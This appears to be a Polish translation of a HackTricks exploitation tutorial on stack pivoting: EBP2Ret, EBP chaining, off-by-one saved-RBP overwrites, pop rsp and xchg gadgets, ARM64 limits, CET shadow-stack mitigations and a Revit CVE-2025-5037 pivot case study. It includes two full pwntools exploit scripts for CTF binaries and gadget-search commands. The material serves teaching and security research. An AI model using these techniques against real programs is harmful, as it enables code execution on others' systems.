Stack Pivoting - EBP2Ret - EBP chaining

Reading time: 13 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

Ta technika wykorzystuje możliwość manipulowania Base Pointer (EBP/RBP) do łańcuchowego wykonywania wielu funkcji poprzez staranne użycie frame pointer i sekwencji instrukcji leave; ret.

Dla przypomnienia, na x86/x86-64 leave jest równoważne z:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86
ret

Ponieważ zapisane EBP/RBP znajduje się na stosie przed zapisanym EIP/RIP, można je kontrolować poprzez kontrolę stosu.

Uwaga

  • Na 64-bitowych systemach zamień EBP→RBP i ESP→RSP. Semantyka jest taka sama.
  • Niektóre kompilatory pomijają wskaźnik ramki (zobacz “EBP might not be used”). W takim wypadku leave może nie występować i ta technika nie zadziała.

EBP2Ret

Ta technika jest szczególnie użyteczna, gdy możesz zmienić zapisane EBP/RBP, ale nie masz bezpośredniej możliwości zmiany EIP/RIP. Wykorzystuje zachowanie epilogów funkcji.

Jeśli podczas wykonywania fvuln uda Ci się wstrzyknąć na stos fałszywe EBP, które wskazuje na obszar pamięci zawierający adres Twojego shellcode/ROP chain (plus 8 bajtów na amd64 / 4 bajty na x86, by uwzględnić pop), możesz pośrednio kontrolować RIP. W miarę jak funkcja zwraca, leave ustawi RSP na spreparowaną lokalizację, a następny pop rbp zmniejszy RSP, efektywnie powodując, że będzie on wskazywał na adres umieszczony tam przez atakującego. Następnie ret użyje tego adresu.

Zauważ, że musisz znać 2 adresy: adres, pod który trafi ESP/RSP, oraz wartość przechowywaną pod tym adresem, którą ret pobierze.

Exploit Construction

Najpierw musisz znać adres, pod który możesz zapisać dowolne dane/adrezy. RSP będzie wskazywać tutaj i skonsumuje pierwszy ret.

Następnie musisz wybrać adres używany przez ret, który przeniesie wykonanie. Możesz użyć:

  • Ważnego ONE_GADGET.
  • Adresu system() z odpowiednim return i argumentami (na x86: ret target = &system, potem 4 bajty śmieci, potem &"/bin/sh").
  • Adresu gadgetu jmp esp; (ret2esp) poprzedzonego inline shellcode.
  • ROP chain umieszczonego w zapisywalnej pamięci.

Pamiętaj, że przed którymkolwiek z tych adresów w kontrolowanym obszarze musi być miejsce dla pop ebp/rbp z leave (8B na amd64, 4B na x86). Możesz wykorzystać te bajty do ustawienia drugiego fałszywego EBP i utrzymania kontroli po pierwszym returnie.

Off-By-One Exploit

Istnieje wariant używany, gdy możesz zmienić tylko najmniej znaczący bajt zapisanych EBP/RBP. W takim przypadku lokalizacja pamięci przechowująca adres, na który ma skoczyć ret, musi dzielić pierwsze trzy/pięć bajtów z oryginalnym EBP/RBP, aby nadpisanie jednego bajtu mogło przekierować go. Zwykle low byte (offset 0x00) jest zwiększany, by skoczyć jak najdalej w obrębie pobliskiej strony/wyrównanego regionu.

Często używa się też RET sled na stosie i umieszcza właściwy ROP chain na jego końcu, aby zwiększyć prawdopodobieństwo, że nowy RSP trafi do środka sleda i zostanie wykonany końcowy ROP chain.

EBP Chaining

Poprzez umieszczenie kontrolowanego adresu w zapisie EBP na stosie i posiadanie gadgetu leave; ret w EIP/RIP, możliwe jest przeniesienie ESP/RSP na adres kontrolowany przez atakującego.

Teraz RSP jest kontrolowany, a następna instrukcja to ret. Umieść w kontrolowanej pamięci coś takiego:

  • &(next fake EBP) -> Załadowane przez pop ebp/rbp z leave.
  • &system() -> Wywołane przez ret.
  • &(leave;ret) -> Po zakończeniu system przenosi RSP do następnego fake EBP i kontynuuje.
  • &("/bin/sh") -> Argument dla system.

W ten sposób można łączyć kilka fałszywych EBP, aby kontrolować przepływ programu.

To jest podobne do ret2lib, ale bardziej złożone i przydatne tylko w przypadkach brzegowych.

Ponadto, tutaj masz przykład challenge'a wykorzystujący tę technikę z użyciem stack leak do wywołania funkcji zwycięskiej. To jest finalny payload ze strony:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

Wskazówka dotycząca wyrównania dla amd64: System V ABI wymaga wyrównania stosu do 16 bajtów w miejscach wywołań. Jeśli twój łańcuch wywołuje funkcje takie jak system, dodaj gadget wyrównujący (np. ret lub sub rsp, 8 ; ret) przed wywołaniem, aby zachować wyrównanie i uniknąć awarii spowodowanych przez movaps.

EBP może nie być używane

Jak wyjaśniono w tym poście, jeśli binarka jest skompilowana z pewnymi optymalizacjami lub z frame-pointer omission, to EBP/RBP nigdy nie kontroluje ESP/RSP. W związku z tym każdy exploit opierający się na kontroli EBP/RBP zawiedzie, ponieważ prolog/epilog nie przywraca wartości ze wskaźnika ramki.

  • Nieoptymalizowane / frame pointer używany:
bash
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Zoptymalizowany / wskaźnik ramki pominięty:
bash
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

Na amd64 często zobaczysz pop rbp ; ret zamiast leave ; ret, ale jeśli wskaźnik ramki jest całkowicie pominięty to nie ma epilogu opartego na rbp, przez który można by pivotować.

Inne sposoby kontrolowania RSP

pop rsp gadget

In this page możesz znaleźć przykład używający tej techniki. W tym zadaniu trzeba było wywołać funkcję z 2 konkretnymi argumentami, i był tam pop rsp gadget oraz istniał leak from the stack:

python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Sprawdź technikę ret2esp tutaj:

Ret2esp / Ret2reg

Szybkie znajdowanie pivot gadgets

Użyj swojego ulubionego gadget findera, aby wyszukać klasyczne pivot primitives:

  • leave ; ret on functions or in libraries
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (or add esp, <imm> ; ret on x86)

Przykłady:

bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

Klasyczny pivot staging pattern

Solidna strategia pivot używana w wielu CTFs/exploits:

  1. Użyj małego początkowego overflow, aby wywołać read/recv do dużego zapisywalnego regionu (np. .bss, heap lub mapped RW memory) i umieść tam pełny ROP chain.
  2. Powróć do pivot gadget (leave ; ret, pop rsp, xchg rax, rsp ; ret), aby przenieść RSP do tego regionu.
  3. Kontynuuj ze staged chain (np. leak libc, wywołaj mprotect, następnie read shellcode, a potem skocz do niego).

Windows: Destructor-loop weird-machine pivots (Revit RFA studium przypadku)

Parsery po stronie klienta czasami implementują destructor loops, które pośrednio wywołują function pointer wyprowadzony z attacker-controlled object fields. Jeśli każda iteracja oferuje dokładnie jedno wywołanie pośrednie (a “one-gadget” machine), możesz to przekształcić w niezawodny stack pivot i wejście do ROP.

Zaobserwowano w Autodesk Revit RFA deserialization (CVE-2025-5037):

  • Spreparowane obiekty typu AString umieszczają wskaźnik do attacker bytes pod offsetem 0.
  • Pętla destruktora (destructor loop) efektywnie wykonuje jeden gadget na obiekt:
asm
rcx = [rbx]              ; object pointer (AString*)
rax = [rcx]              ; pointer to controlled buffer
call qword ptr [rax]     ; execute [rax] once per object

Two practical pivots:

  • Windows 10 (32-bit heap addrs): misaligned “monster gadget” that contains 8B E0mov esp, eax, eventually ret, to pivot from the call primitive to a heap-based ROP chain.
  • Windows 11 (full 64-bit addrs): use two objects to drive a constrained weird-machine pivot:
  • Gadget 1: push rax ; pop rbp ; ret (przenosi oryginalny rax do rbp)
  • Gadget 2: leave ; ... ; ret (staje się mov rsp, rbp ; pop rbp ; ret), pivoting into the first object’s buffer, where a conventional ROP chain follows.

Wskazówki dla Windows x64 po pivot:

  • Szanuj 0x20-byte shadow space i zachowaj 16-byte alignment przed miejscami call. Często wygodnie jest umieścić literały nad adresem powrotu i użyć gadżetu takiego jak lea rcx, [rsp+0x20] ; call rax a następnie pop rax ; ret aby przekazać adresy stosu bez uszkadzania przepływu sterowania.
  • Non-ASLR helper modules (jeśli obecne) zapewniają stabilne pule gadgetów i importy takie jak LoadLibraryW/GetProcAddress do dynamicznego rozwiązywania celów jak ucrtbase!system.
  • Tworzenie brakujących gadgetów za pomocą writable thunk: jeśli obiecująca sekwencja kończy się call przez zapisowalny wskaźnik funkcji (np. DLL import thunk lub wskaźnik funkcji w .data), nadpisz ten wskaźnik łagodnym jednowierszowym gadgetem jak pop rax ; ret. Sekwencja wtedy zachowuje się, jakby kończyła się ret (np. mov rdx, rsi ; mov rcx, rdi ; ret), co jest nieocenione do załadowania rejestrów argumentów Windows x64 bez nadpisywania innych.

Dla pełnej konstrukcji łańcucha i przykładów gadgetów zobacz odniesienie poniżej.

Nowoczesne mechanizmy łagodzące, które łamią stack pivoting (CET/Shadow Stack)

Nowoczesne x86 CPU i OS-y coraz częściej wdrażają CET Shadow Stack (SHSTK). Gdy SHSTK jest włączony, ret porównuje adres powrotu na normalnym stosie z hardware’owo chronionym shadow stack; każda niezgodność powoduje Control-Protection fault i zabija proces. Dlatego techniki takie jak EBP2Ret/leave;ret-based pivots spowodują crash natychmiast po wykonaniu pierwszego ret ze pivotowanego stosu.

  • For background and deeper details see:

CET & Shadow Stack

  • Szybkie kontrole na Linux:
bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • Uwagi dla labs/CTF:

  • Niektóre nowoczesne dystrybucje włączają SHSTK dla binarek kompatybilnych z CET, jeśli sprzęt i glibc na to pozwalają. Do kontrolowanych testów w VMach, SHSTK można wyłączyć systemowo przez parametr rozruchowy kernela nousershstk, albo selektywnie włączać przez glibc tunables podczas startu (zob. references). Nie wyłączaj zabezpieczeń na systemach produkcyjnych.

  • Techniki oparte na JOP/COOP lub SROP mogą być nadal wykonalne na niektórych celach, ale SHSTK konkretnie łamie pivoty oparte na ret.

  • Uwaga dotycząca Windows: Windows 10+ udostępnia user-mode, a Windows 11 dodaje kernel-mode “Hardware-enforced Stack Protection” zbudowane na shadow stacks. Procesy kompatybilne z CET zapobiegają stack pivoting/ROP przy ret; deweloperzy włączają to przez CETCOMPAT i powiązane polityki (zob. reference).

ARM64

W ARM64 prologi i epilogi funkcji nie zapisują ani nie odtwarzają rejestru SP na stosie. Co więcej, instrukcja RET nie zwraca na adres wskazywany przez SP, lecz na adres zawarty w x30.

Dlatego domyślnie samo wykorzystanie epilogu nie pozwoli na kontrolę rejestru SP poprzez nadpisanie danych na stosie. Nawet jeśli uda się przejąć kontrolę nad SP, nadal trzeba będzie w jakiś sposób skontrolować rejestr x30.

  • prologue
armasm
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP points to frame record
  • epilogue
armasm
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

caution

Sposób na wykonanie czegoś podobnego do stack pivoting w ARM64 polegałby na możliwości kontroli SP (np. przez kontrolę jakiegoś rejestru, którego wartość jest przekazywana do SP, lub gdy SP pobiera swój adres ze stosu i mamy overflow), a następnie wykorzystaniu epilogu do załadowania rejestru x30 z kontrolowanego SP i wykonaniu na niego RET.

Również na następującej stronie można zobaczyć odpowiednik Ret2esp in ARM64:

Ret2esp / Ret2reg

References

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks